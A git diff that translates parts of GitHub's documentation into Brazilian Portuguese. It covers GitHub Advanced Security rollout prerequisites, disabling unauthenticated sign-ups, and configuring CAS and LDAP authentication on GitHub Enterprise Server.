+O forte alinhamento, operações eficientes e a maturidade das ferramentas de segurança desta empresa possibilitou a implementação rápida do GHAS, bem como criar uma boa base para {% data variables.product.prodname_codeql %}. Desde sua implementação, agora eles podem automaticamente habilitar {% data variables.product.prodname_codeql %} em diferentes repositórios.
 
-In addition to their security and technical maturity, another critical key to this company’s success is having a project owner and single point of contact from their team to drive the project forward. Not only is having this key contact crucial, but they are incredibly resourceful and skilled, and directly contribute to the success of the rollout.
+Além de sua segurança e maturidade técnica, outra chave crucial para o sucesso desta empresa é ter o proprietário de um projeto e um único ponto de contato na sua equipe para impulsionar o projeto. Este contato fundamental não só é crucial, como também é incrivelmente rico e qualificado e contribui diretamente para o sucesso da sua implementação.
 
-## Prerequisites for your company before rolling out GHAS
+## Pré-requisitos para a sua empresa antes de implementar o GHAS
 
-{% data variables.product.prodname_professional_services %} can help to provide additional support to help your company break down and understand these prerequisites and help you get prepared for the GHAS implementation process.
+{% data variables.product.prodname_professional_services %} pode ajudar a fornecer suporte adicional para ajudar a sua empresa a detalhar e entender estes pré-requisitos e ajudar você a preparar-se para o processo de implementação do GHAS.
 
- ### CI/CD systems and process
+ ### Sistemas e processos de CI/CD
 
-If your company has not yet invested in or implemented continuous integration or continuous delivery (CI/CD) systems and processes, we recommend taking this step in conjunction with moving forward with GHAS. This may be a significant shift for your company—we can work with you to provide recommendations and guidance for implementing a CI/CD system, as well as supporting any training that might be needed.
+Se a sua empresa ainda não investiu em sistemas e processos de integração contínua ou de entrega contínua (CI/CD), recomendamos que isso seja feito em conjunto com o GHAS. Isto pode ser uma mudança significativa para sua empresa — podemos trabalhar com você para fornecer recomendações e orientações para a implementação de um sistema CI/CD, além de apoiar qualquer formação que possa ser necessária.
 
-### Requirements to install {% data variables.product.prodname_GH_advanced_security %}
+### Requisitos para instalar {% data variables.product.prodname_GH_advanced_security %}
 
-There are a few different paths that can be taken for your GHAS installation based on what combinations of technologies your company uses. This section outlines a quick breakdown of the different paths your company may need to take.
+Existem alguns caminhos diferentes que podem ser percorridos pela sua instalação do GHAS, com base em quais combinações de tecnologias que sua empresa usa. Essa seção descreve um rápido detalhamento dos diferentes caminhos que a sua empresa pode precisar seguir.
 
 {% ifversion ghes %}
 
 #### {% data variables.product.prodname_ghe_server %}
 
-It’s important that you’re utilizing a version of {% data variables.product.prodname_ghe_server %} (GHES) that will support your company’s needs.
+É importante que você esteja utilizando uma versão de {% data variables.product.prodname_ghe_server %} (GHES) que atenda às necessidades da sua empresa.
 
-If you’re using an earlier version of GHES (prior to 3.0) and would like to upgrade, there are some requirements that you’ll need to meet before moving forward with the upgrade. For more information, see:
-  - "[Upgrading {% data variables.product.prodname_ghe_server %}](/enterprise-server@2.22/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)"
-  - "[Upgrade requirements](/enterprise-server@2.20/admin/enterprise-management/upgrade-requirements)"
+Caso você esteja usando uma versão anterior do GHES (anterior à vesão 3.0) e gostaria de fazer a atualização, há algumas exigências que você precisa cumprir antes de avançar. Para obter mais informações, consulte:
+  - "[Atualizando {% data variables.product.prodname_ghe_server %}](/enterprise-server@2.22/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)"
+  - "[Requisitos de atualização](/enterprise-server@2.20/admin/enterprise-management/upgrade-requirements)"
 
-If you’re using a third-party CI/CD system and want to use {% data variables.product.prodname_code_scanning %}, make sure you have downloaded the {% data variables.product.prodname_codeql_cli %}. For more information, see "[About CodeQL code scanning in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)."
+Se você estiver usando um sistema de CI/CD de terceiros e quiser usar {% data variables.product.prodname_code_scanning %}, certifique-se de ter feito o download do {% data variables.product.prodname_codeql_cli %}. Para obter mais informações, consulte "[Sobre a verificação de código CodeQL no seu sistema de CI](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)."
 
-If you're working with {% data variables.product.prodname_professional_services %} for your GHAS rollout, please be prepared to discuss these items at length in your kickoff meeting.
+Se você estiver trabalhando com {% data variables.product.prodname_professional_services %} para sua implantação GHAS, esteja preparado para discutir esses itens a tempo na sua reunião inicial.
 
 {% endif %}
 
@@ -208,60 +206,60 @@ If you're working with {% data variables.product.prodname_professional_services
 
 #### {% data variables.product.prodname_ghe_cloud %}
 
-If you’re a {% data variables.product.prodname_ghe_cloud %} (GHEC) customer there are prerequisites that you’ll need to meet depending on what CI/CD you plan to utilize.
+Se você é um cliente de {% data variables.product.prodname_ghe_cloud %} (GHEC), há pré-requisitos que você precisará conhecer dependendo de que CI/CD você planeja utilizar.
 
-Using {% data variables.product.prodname_actions %} for your CI/CD:
-- To ensure {% data variables.product.prodname_code_scanning %} can be integrated and utilized properly, you should have a basic understanding of {% data variables.product.prodname_actions %} before proceeding with your installation.
+Usando {% data variables.product.prodname_actions %} para a sua CI/CD:
+- Para garantir que {% data variables.product.prodname_code_scanning %} possa ser integrado e usadocorretamente, você deve entender os princípios básicos de {% data variables.product.prodname_actions %} antes de prosseguir com a sua instalação.
 
-Using a third-party tool for CI/CD:
-- To integrate the {% data variables.product.prodname_codeql_cli %}, you should have a basic understanding of the CI/CD system, as well as *nix and Windows—in particular how commands are executed and how success/failure is signaled. For more information about how to integrate a third-party tool, see "[Using CodeQL code scanning with your existing CI system ](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system)."
+Usando uma ferramenta de terceiros para CI/CD:
+- Para integrar a {% data variables.product.prodname_codeql_cli %}, você deve entender os princípios básicos do sistema CI/CD, bem como *nix e Windows — em particular, como os comandos são executados e como o sucesso e a falha são sinalizados. Para obter mais informações sobre como integrar uma ferramenta de terceiros, consulte "[Usando a digitalização de código CodeQL com seu o sistema de CI existente ](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system)".
 
 {% endif %}
 
-## Partnering with GitHub for your rollout
+## Parceria com GitHub para a sua implementação
 
-As you prepare for your GHAS implementation, it’s important to  consider what will be required from your company to make this  project successful. Our most successful implementations of GHAS  rely on shared responsibilities between both GitHub and our customers throughout the process with a clearly identified stakeholder from the customer owning the project.
+À medida que você se prepara para sua implementação do GHAS, é importante considerar o que será necessário para sua empresa para fazer este projeto ser bem sucedido. As nossas implementações mais bem-sucedidas do GHAS dependem de responsabilidades compartilhadas entre o GitHub e nossos clientes em todo o processo com uma partes interessadas claramente identificada pelo cliente ao qual pertence o projeto.
 
-#### Success model for customer and GitHub responsibilities
+#### Modelo de sucesso para responsabilidades de cliente e do GitHub
 
-**Customer responsibilities**
-- Completing infrastructure and process prerequisites
-- Managing rollout and implementation, including planning and execution
-- Internal training
-- (Optional) Contributing {% data variables.product.prodname_codeql %} queries to the GitHub Community
+**Responsabilidade dos clientes**
+- Completar infraestrutura e pré-requisitos do processo
+- Gerenciando a implementação, incluindo planejamento e execução
+- Treinamento interno
+- (Opcional) Contribuindo com consultas de {% data variables.product.prodname_codeql %} para a comunidade do GitHub
 
-**GitHub responsibilities**
+**Responsabilidades do GitHub**
 
-- Maintenance and enhancements for features, such as {% ifversion ghes %}{% data variables.product.prodname_ghe_server %}{% endif %}, {% data variables.product.prodname_actions %}, {% data variables.product.prodname_GH_advanced_security %}
-- Providing, maintaining, and delivering the following services: {% data variables.product.prodname_dotcom %} Docs, {% data variables.product.prodname_dotcom %} Community, {% data variables.product.prodname_dotcom %} Support
+- Manutenção e aprimoramento para funcionalidades, como {% ifversion ghes %}{% data variables.product.prodname_ghe_server %}{% endif %}, {% data variables.product.prodname_actions %}, {% data variables.product.prodname_GH_advanced_security %}
+- Fornecer, manter e prestar os serviços a seguir: Documentação de {% data variables.product.prodname_dotcom %}, comunidade de {% data variables.product.prodname_dotcom %}, suporte de {% data variables.product.prodname_dotcom %}
 
 {% note %}
 
-**Note:**  {% data variables.product.prodname_professional_services %} can help support many of the customer responsibilities. To learn more, see "[GitHub services and support](#github-services-and-support)."
+**Observação:**  {% data variables.product.prodname_professional_services %} pode ajudar a suportar muitas das responsabilidades do cliente. Para saber mais, consulte "[Serviços e suporte do GitHub](#github-services-and-support)".
 
 {% endnote %}
 
-## {% data variables.product.prodname_dotcom %} services and support
+## Serviços e suporte do {% data variables.product.prodname_dotcom %}
 
-### {% data variables.product.prodname_dotcom %} Support
+### Suporte de {% data variables.product.prodname_dotcom %}
 
-If you run into any issues during your implementation, you can search our deep documentation for solutions or engage with {% data variables.product.prodname_dotcom %} Support, a team of highly technical engineers that can support you as issues arise. For more information, see "[GitHub Enterprise Support](https://enterprise.github.com/support).
+Se você tiver algum problema durante a sua implementação, você poderá pesquisar as soluções na nossa documentação detalhada ou interagir com o suporte de {% data variables.product.prodname_dotcom %}, uma equipe de engenheiros altamente técnicos que podem ajudar vocês à medida que surgem problemas. Para obter mais informações, consulte "[Suporte do GitHub Enterprise](https://enterprise.github.com/support).
 
-In addition, you can also try our [ {% data variables.product.prodname_gcf %}](https://github.community/).
+Além disso, você também pode experimentar nosso [ {% data variables.product.prodname_gcf %}](https://github.community/).
 
-If you purchased a Premium Support plan, you can submit your ticket in the [Premium Support Portal](https://enterprise.github.com/support). If you’re unsure of which Support plan you purchased, you can reach out to your sales representative or review the plan options.
+Se você comprou um plano de Suporte Premium, você poderá enviar seu tíquete no [Portal de Suporte Premium](https://enterprise.github.com/support). Se você não tem certeza de qual plano de suporte comprou, você poderá entrar em contato com seu representante de vendas ou revisar as opções do plano.
 
-For more information the Premium support plan options, see:
-  - "[Premium Support](https://github.com/premium-support)" {% ifversion ghec %}
-  - "[About GitHub Premium Support for {% data variables.product.prodname_ghe_cloud %}](/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud)"{% endif %}{% ifversion ghes %}
-  - "[About GitHub Premium Support for {% data variables.product.prodname_ghe_server %}](/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server)"{% endif %}
+Para obter mais informações as opções do plano de suporte Premium, consulte:
+  - "[Suporte Premium](https://github.com/premium-support)" {% ifversion ghec %}
+  - "[Sobre o Suporte Premium do GitHub para {% data variables.product.prodname_ghe_cloud %}](/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud)"{% endif %}{% ifversion ghes %}
+  - "[Sobre o Suporte Premium do GitHub para {% data variables.product.prodname_ghe_server %}](/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server)"{% endif %}
 
 ### {% data variables.product.prodname_professional_services %}
 
-Our {% data variables.product.prodname_professional_services_team %} team can partner with you for a successful rollout and implementation of {% data variables.product.prodname_GH_advanced_security %}. We offer a variety of options for the type of guidance and support you expect to need for your implementation. We also have training and bootcamps available to help your company to optimize the value of GHAS.
+Nossa equipe de {% data variables.product.prodname_professional_services_team %} pode fazer parcerias com você para uma implementação bem-sucedida de {% data variables.product.prodname_GH_advanced_security %}. Oferecemos uma série de opções para o tipo de orientação e apoio que você espera precisar para a sua implementação. Também temos treinamento e bootcamps disponíveis para ajudar a sua empresa a otimizar o valor do GHAS.
 
-If you’d like to work with our {% data variables.product.prodname_professional_services_team %} team for your implementation, we recommend you begin thinking about your system design and infrastructure, as well as the number of repositories that you want to set up with GHAS, to begin these conversations. In addition, begin thinking about goals for what you would like to achieve with this rollout.
+Se você quiser trabalhar com nossa equipe de {% data variables.product.prodname_professional_services_team %} para a sua implementação, recomendamos que você comece a pensar no design do seu sistema e na infraestrutura, bem como no número de repositórios que você deseja configurar com o GHAS, para iniciar essas conversas. Além disso, comece a pensar em objetivos para o que você gostaria de alcançar com esta implementação.
 
-Implementation is just one step in a successful security-driven journey where you’ll learn how to use GHAS. Once you’ve completed your implementation, there will be more to learn with the rollout throughout your infrastructure and codebases. Speak with your sales representative for more information about all the {% data variables.product.prodname_professional_services_team %} options available.
+A implementação é apenas um passo em uma jornada bem sucedida orientada à segurança, em que você aprenderá a usar o GHAS. Depois de concluir a implementação, haverá mais para aprender com a implantação em toda a sua infraestrutura e codebases. Fale com o seu representante de vendas para obter mais informações sobre todas as opções de {% data variables.product.prodname_professional_services_team %} disponíveis.
 
-If you initially opted out of additional services, but find that additional support is  needed as you begin your implementation, please reach out to your sales representative to discuss what services options may be needed to support your implementation.
+Se você inicialmente optou por não receber serviços adicionais, mas descobrir que o suporte adicional é necessário quando você inicia a sua implementação, entre em contato com o seu representante de vendas para discutir quais opções de serviços podem ser necessárias para apoiar a sua implementação.
diff --git a/translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups.md b/translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups.md
index 3711fe5ef6..62f30dc94f 100644
--- a/translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups.md
+++ b/translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups.md
@@ -1,11 +1,11 @@
 ---
-title: Disabling unauthenticated sign-ups
+title: Desabilitar assinaturas não autenticadas
 redirect_from:
   - /enterprise/admin/articles/disabling-sign-ups
   - /enterprise/admin/user-management/disabling-unauthenticated-sign-ups
   - /enterprise/admin/authentication/disabling-unauthenticated-sign-ups
   - /admin/authentication/disabling-unauthenticated-sign-ups
-intro: 'If you''re using built-in authentication, you can block unauthenticated people from being able to create an account.'
+intro: 'Se você estiver usando a autenticação integrada, será possível impedir que pessoas não autenticadas criem uma conta.'
 versions:
   ghes: '*'
 type: how_to
@@ -13,11 +13,11 @@ topics:
   - Accounts
   - Authentication
   - Enterprise
-shortTitle: Block account creation
+shortTitle: Bloquear criação de conta
 ---
+
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.privacy %}
-3. Unselect **Enable sign-up**.
-![Enable sign-up checkbox](/assets/images/enterprise/management-console/enable-sign-up.png)
+3. Desmarque a seleção na caixa **Enable sign-up** (Habilitar assinatura). ![Caixa de seleção Enable sign-up (Habilitar assinatura)](/assets/images/enterprise/management-console/enable-sign-up.png)
 {% data reusables.enterprise_management_console.save-settings %}
diff --git a/translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/index.md b/translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/index.md
index 5d51187af0..b60a565d72 100644
--- a/translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/index.md
+++ b/translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/index.md
@@ -1,6 +1,6 @@
 ---
-title: Authenticating users for your GitHub Enterprise Server instance
-intro: 'You can use {% data variables.product.prodname_ghe_server %}''s built-in authentication, or choose between CAS, LDAP, or SAML to integrate your existing accounts and centrally manage user access to {% data variables.product.product_location %}.'
+title: Autenticar usuários para a instância do GitHub Enterprise Server
+intro: 'Você pode usar a autenticação integrada do {% data variables.product.prodname_ghe_server %} ou escolher entre CAS, LDAP ou SAML para integrar suas contas e gerenciar centralmente o acesso dos usuários à {% data variables.product.product_location %}.'
 redirect_from:
   - /enterprise/admin/categories/authentication
   - /enterprise/admin/guides/installation/user-authentication
@@ -20,6 +20,6 @@ children:
   - /using-ldap
   - /allowing-built-in-authentication-for-users-outside-your-identity-provider
   - /changing-authentication-methods
-shortTitle: Authenticate users
+shortTitle: Autenticar usuários
 ---
 
diff --git a/translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-cas.md b/translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-cas.md
index b1276f2de7..342d152633 100644
--- a/translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-cas.md
+++ b/translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-cas.md
@@ -1,12 +1,12 @@
 ---
-title: Using CAS
+title: Usar CAS
 redirect_from:
   - /enterprise/admin/articles/configuring-cas-authentication
   - /enterprise/admin/articles/about-cas-authentication
   - /enterprise/admin/user-management/using-cas
   - /enterprise/admin/authentication/using-cas
   - /admin/authentication/using-cas
-intro: 'CAS is a single sign-on (SSO) protocol for multiple web applications. A CAS user account does not take up a {% ifversion ghes %}user license{% else %}seat{% endif %} until the user signs in.'
+intro: 'O CAS é um protocolo de logon único (SSO) para vários aplicativos da web. Uma conta de usuário CAS não consome uma {% ifversion ghes %}licença de{% else %}usuário{% endif %} até o usuário fazer login.'
 versions:
   ghes: '*'
 type: how_to
@@ -17,9 +17,10 @@ topics:
   - Identity
   - SSO
 ---
+
 {% data reusables.enterprise_user_management.built-in-authentication %}
 
-## Username considerations with CAS
+## Considerações de nome de usuário no CAS
 
 {% data reusables.enterprise_management_console.username_normalization %}
 
@@ -28,25 +29,24 @@ topics:
 {% data reusables.enterprise_user_management.two_factor_auth_header %}
 {% data reusables.enterprise_user_management.external_auth_disables_2fa %}
 
-## CAS attributes
+## Atributos CAS
 
-The following attributes are available.
+Os atributos a seguir estão disponíveis.
 
-| Attribute name           | Type     | Description |
-|--------------------------|----------|-------------|
-| `username`               | Required | The {% data variables.product.prodname_ghe_server %} username. |
+| Nome do atributo  | Tipo        | Descrição                                                              |
+| ----------------- | ----------- | ---------------------------------------------------------------------- |
+| `nome de usuário` | Obrigatório | Nome do usuário no {% data variables.product.prodname_ghe_server %}. |
 
-## Configuring CAS
+## Configurar o CAS
 {% warning %}
 
-**Warning:** Before configuring CAS on {% data variables.product.product_location %}, note that users will not be able to use their CAS usernames and passwords to authenticate API requests or Git operations over HTTP/HTTPS. Instead, they will need to [create an access token](/enterprise/{{ currentVersion }}/user/articles/creating-an-access-token-for-command-line-use).
+**Aviso:** antes de configurar o CAS na {% data variables.product.product_location %}, observe que os usuários não poderão usar seus nomes e senhas do CAS para autenticar solicitações de API ou operações do Git por HTTP/HTTPS. Para isso, eles deverão [criar tokens de acesso](/enterprise/{{ currentVersion }}/user/articles/creating-an-access-token-for-command-line-use).
 
 {% endwarning %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.authentication %}
-3. Select **CAS**.
-![CAS select](/assets/images/enterprise/management-console/cas-select.png)
-4. {% data reusables.enterprise_user_management.built-in-authentication-option %} ![Select CAS built-in authentication checkbox](/assets/images/enterprise/management-console/cas-built-in-authentication.png)
-5. In the **Server URL** field, type the full URL of your CAS server. If your CAS server uses a certificate that can't be validated by {% data variables.product.prodname_ghe_server %}, you can use the `ghe-ssl-ca-certificate-install` command to install it as a trusted certificate.
+3. Selecione **CAS**. ![Selecionar CAS](/assets/images/enterprise/management-console/cas-select.png)
+4. {% data reusables.enterprise_user_management.built-in-authentication-option %} ![Selecionar caixa de autenticação integrada CAS](/assets/images/enterprise/management-console/cas-built-in-authentication.png)
+5. No campo **Server URL** (URL do servidor), digite a URL completa do seu servidor CAS. Se o servidor CAS usar um certificado que não pode ser validado pelo {% data variables.product.prodname_ghe_server %}, você poderá usar o comando `ghe-ssl-ca-certificate-install` para instalá-lo como certificado confiável.
diff --git a/translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap.md b/translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap.md
index 77d922b9e8..9f2934d9fe 100644
--- a/translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap.md
+++ b/translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap.md
@@ -1,5 +1,5 @@
 ---
-title: Using LDAP
+title: Usar LDAP
 redirect_from:
   - /enterprise/admin/articles/configuring-ldap-authentication
   - /enterprise/admin/articles/about-ldap-authentication
@@ -9,7 +9,7 @@ redirect_from:
   - /enterprise/admin/user-management/using-ldap
   - /enterprise/admin/authentication/using-ldap
   - /admin/authentication/using-ldap
-intro: 'LDAP lets you authenticate {% data variables.product.prodname_ghe_server %} against your existing accounts and centrally manage repository access. LDAP is a popular application protocol for accessing and maintaining directory information services, and is one of the most common protocols used to integrate third-party software with large company user directories.'
+intro: 'O LDAP permite autenticar o {% data variables.product.prodname_ghe_server %} em suas contas existentes e gerenciar centralmente o acesso ao repositório. O LDAP é um protocolo de aplicativo popular de acesso e manutenção dos serviços de informações de diretório, além de ser um dos protocolos mais comuns para integrar software de terceiros a diretórios de usuários em grandes empresas.'
 versions:
   ghes: '*'
 type: how_to
@@ -19,20 +19,21 @@ topics:
   - Enterprise
   - Identity
 ---
+
 {% data reusables.enterprise_user_management.built-in-authentication %}
 
-## Supported LDAP services
+## Serviços LDAP compatíveis
 
-{% data variables.product.prodname_ghe_server %} integrates with these LDAP services:
+O {% data variables.product.prodname_ghe_server %} se integra aos seguintes serviços LDAP:
 
-* Active Directory
-* FreeIPA
-* Oracle Directory Server Enterprise Edition
-* OpenLDAP
-* Open Directory
-* 389-ds
+* Active Directory;
+* FreeIPA;
+* Oracle Directory Server Enterprise Edition;
+* OpenLDAP;
+* Open Directory;
+* 389-ds.
 
-## Username considerations with LDAP
+## Considerações de nome de usuário no LDAP
 
 {% data reusables.enterprise_management_console.username_normalization %}
 
@@ -41,153 +42,150 @@ topics:
 {% data reusables.enterprise_user_management.two_factor_auth_header %}
 {% data reusables.enterprise_user_management.2fa_is_available %}
 
-## Configuring LDAP with {% data variables.product.product_location %}
+## Configurar o LDAP na {% data variables.product.product_location %}
 
-After you configure LDAP, users will be able to sign into your instance with their LDAP credentials. When users sign in for the first time, their profile names, email addresses, and SSH keys will be set with the LDAP attributes from your directory.
+Depois que você configurar o LDAP, os usuários poderão acessar a instância com as credenciais LDAP. Quando os usuários acessarem pela primeira vez, seus nomes de perfil, endereços de e-mail e chaves SSH serão definidos com os atributos LDAP do diretório.
 
-When you configure LDAP access for users via the {% data variables.enterprise.management_console %}, your user licenses aren't used until the first time a user signs in to your instance. However, if you create an account manually using site admin settings, the user license is immediately accounted for.
+Quando você configurar o acesso LDAP dos usuários pelo {% data variables.enterprise.management_console %}, suas licenças de usuário não serão usadas até que o primeiro usuário faça login na sua instância. No entanto, se você criar uma conta manualmente usando as configurações de administrador do site, a licença do usuário é imediatamente contabilizada.
 
 {% warning %}
 
-**Warning:** Before configuring LDAP on {% data variables.product.product_location %}, make sure that your LDAP service supports paged results.
+**Aviso:** antes de configurar o LDAP na {% data variables.product.product_location %}, verifique se o serviço LDAP oferece suporte a resultados paginados.
 
 {% endwarning %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.authentication %}
-3. Under "Authentication", select **LDAP**.
-![LDAP select](/assets/images/enterprise/management-console/ldap-select.png)
-4. {% data reusables.enterprise_user_management.built-in-authentication-option %} ![Select LDAP built-in authentication checkbox](/assets/images/enterprise/management-console/ldap-built-in-authentication.png)
-5. Add your configuration settings.
+3. Em "Authentication" (Autenticação), selecione **LDAP**. ![Selecionar LDAP](/assets/images/enterprise/management-console/ldap-select.png)
+4. {% data reusables.enterprise_user_management.built-in-authentication-option %} ![Selecionar caixa de autenticação integrada](/assets/images/enterprise/management-console/ldap-built-in-authentication.png)
+5. Defina as configurações.
 
-## LDAP attributes
-Use these attributes to finish configuring LDAP for {% data variables.product.product_location %}.
+## Atributos LDAP
+Use estes atributos para finalizar a configuração LDAP na {% data variables.product.product_location %}.
 
-| Attribute name           | Type     | Description |
-|--------------------------|----------|-------------|
-| `Host`                   | Required | The LDAP host, e.g. `ldap.example.com` or `10.0.0.30`. If the hostname is only available from your internal network, you may need to configure {% data variables.product.product_location %}'s DNS first so it can resolve the hostname using your internal nameservers. |
-| `Port`                   | Required | The port the host's LDAP services are listening on. Examples include: 389 and 636 (for LDAPS). |
-| `Encryption`             | Required | The encryption method used to secure communications to the LDAP server. Examples include plain (no encryption), SSL/LDAPS (encrypted from the start), and StartTLS (upgrade to encrypted communication once connected). |
-| `Domain search user`     | Optional | The LDAP user that looks up other users that sign in, to allow authentication. This is typically a service account created specifically for third-party integrations. Use a fully qualified name, such as `cn=Administrator,cn=Users,dc=Example,dc=com`. With Active Directory, you can also use the `[DOMAIN]\[USERNAME]` syntax (e.g. `WINDOWS\Administrator`) for the domain search user with Active Directory. |
-| `Domain search password` | Optional | The password for the domain search user. |
-| `Administrators group`   | Optional | Users in this group are promoted to site administrators when signing into your appliance. If you don't configure an LDAP Administrators group, the first LDAP user account that signs into your appliance will be automatically promoted to a site administrator. |
-| `Domain base`            | Required | The fully qualified `Distinguished Name` (DN) of an LDAP subtree you want to search for users and groups. You can add as many as you like; however, each group must be defined in the same domain base as the users that belong to it. If you specify restricted user groups, only users that belong to those groups will be in scope. We recommend that you specify the top level of your LDAP directory tree as your domain base and use restricted user groups to control access. |
-| `Restricted user groups` | Optional | If specified, only users in these groups will be allowed to log in. You only need to specify the common names (CNs) of the groups, and you can add as many groups as you like. If no groups are specified, *all* users within the scope of the specified domain base will be able to sign in to your {% data variables.product.prodname_ghe_server %} instance. |
-| `User ID`                | Required | The LDAP attribute that identifies the LDAP user who attempts authentication. Once a mapping is established, users may change their {% data variables.product.prodname_ghe_server %} usernames. This field should be `sAMAccountName` for most Active Directory installations, but it may be `uid` for other LDAP solutions, such as OpenLDAP. The default value is `uid`. |
-| `Profile name`           | Optional | The name that will appear on the user's {% data variables.product.prodname_ghe_server %} profile page. Unless LDAP Sync is enabled, users may change their profile names. |
-| `Emails`                 | Optional | The email addresses for a user's {% data variables.product.prodname_ghe_server %} account. |
-| `SSH keys`               | Optional | The public SSH keys attached to a user's {% data variables.product.prodname_ghe_server %} account. The keys must be in OpenSSH format. |
-| `GPG keys`               | Optional | The GPG keys attached to a user's {% data variables.product.prodname_ghe_server %} account. |
-| `Disable LDAP authentication for Git operations` | Optional |If selected, [turns off](#disabling-password-authentication-for-git-operations) users' ability to use LDAP passwords to authenticate Git operations. |
-| `Enable LDAP certificate verification` | Optional |If selected, [turns on](#enabling-ldap-certificate-verification) LDAP certificate verification. |
-| `Synchronization` | Optional |If selected, [turns on](#enabling-ldap-sync) LDAP Sync. |
+| Nome do atributo                                    | Tipo        | Descrição                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| --------------------------------------------------- | ----------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `Host`                                              | Obrigatório | Host LDAP, por exemplo, `ldap.example.com` ou `10.0.0.30`. Se o nome do host só estiver disponível na rede interna, talvez seja necessário configurar antes o DNS da {% data variables.product.product_location %} para que ele resolva o nome do host usando seus servidores de nomes internos.                                                                                                                                                                                                                                              |
+| `Porta`                                             | Obrigatório | Porta em que os serviços de host LDAP estão escutando. Por exemplo: 389 e 636 (para LDAPS).                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| `Criptografia`                                      | Obrigatório | Método de criptografia usado para proteger as comunicações com o servidor LDAP. Por exemplo, básico (sem criptografia), SSL/LDAPS (criptografia desde o início) e StartTLS (atualizar para comunicação com criptografia no momento da conexão).                                                                                                                                                                                                                                                                                               |
+| `Usuário de pesquisa de domínio`                    | Opcional    | O usuário do LDAP que procura outros usuários que efetuam o login para permitir a autenticação. Em geral, é uma conta de serviço criada especificamente para integrações de terceiros. Use um nome totalmente qualificado, como `cn=Administrador,cn=Usuários,dc=Exemplo,dc=com`. Com o Active Directory, também é possível usar a sintaxe `[DOMAIN]\[USERNAME]` (por exemplo, `WINDOWS\Administrator`) para o usuário de pesquisa de domínio.                                                                                              |
+| `Senha de pesquisa de domínio`                      | Opcional    | Senha do usuário de pesquisa de domínio.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| `Grupos de administradores`                         | Opcional    | Ao fazerem login no seu appliance, os usuários deste grupo são promovidos a administradores do site. Se você não configurar um grupo de administradores LDAP, a primeira conta de usuário LDAP que acessar seu appliance será automaticamente promovida a administrador do site.                                                                                                                                                                                                                                                              |
+| `Base de domínio`                                   | Obrigatório | `Distinguished Name` (DN) totalmente qualificado de uma subárvore LDAP em que você pretende procurar usuários e grupos. Você pode adicionar quantos quiser, mas cada grupo deve ser definido na mesma base de domínio que os usuários pertencentes a ele. Se você especificar grupos de usuários restritos, somente os usuários pertencentes a esses grupos estarão no escopo. É recomendável especificar o nível superior da sua árvore de diretórios LDAP como base de domínio e usar grupos de usuários restritos para controlar o acesso. |
+| `Grupos de usuários restritos`                      | Opcional    | Se especificados, somente os usuários desses grupos poderão efetuar login. Você só precisa especificar os nomes comuns (CNs, Common Names) dos grupos e adicionar quantos grupos quiser. Se não houver grupos especificados, *todos* os usuários no escopo da base de domínio especificada poderão fazer login na sua instância do {% data variables.product.prodname_ghe_server %}.                                                                                                                                                        |
+| `ID de usuário`                                     | Obrigatório | Atributo LDAP que identifica o usuário LDAP que tenta fazer a autenticação. Quando houver mapeamento estabelecido, os usuários poderão alterar seus nomes de usuário no {% data variables.product.prodname_ghe_server %}. Este campo deve ser `sAMAccountName` para a maioria das instalações do Active Directory, mas pode ser `uid` para outras soluções LDAP, como OpenLDAP. O valor padrão é `uid`.                                                                                                                                     |
+| `Nome de perfil`                                    | Opcional    | Nome exibido na págin de perfil do usuário no {% data variables.product.prodname_ghe_server %}. Se a Sincronização LDAP estiver habilitada, os usuários poderão alterar seus nomes de perfil.                                                                                                                                                                                                                                                                                                                                               |
+| `E-mails`                                           | Opcional    | Endereço de e-mail para a conta de usuário no {% data variables.product.prodname_ghe_server %}.                                                                                                                                                                                                                                                                                                                                                                                                                                             |
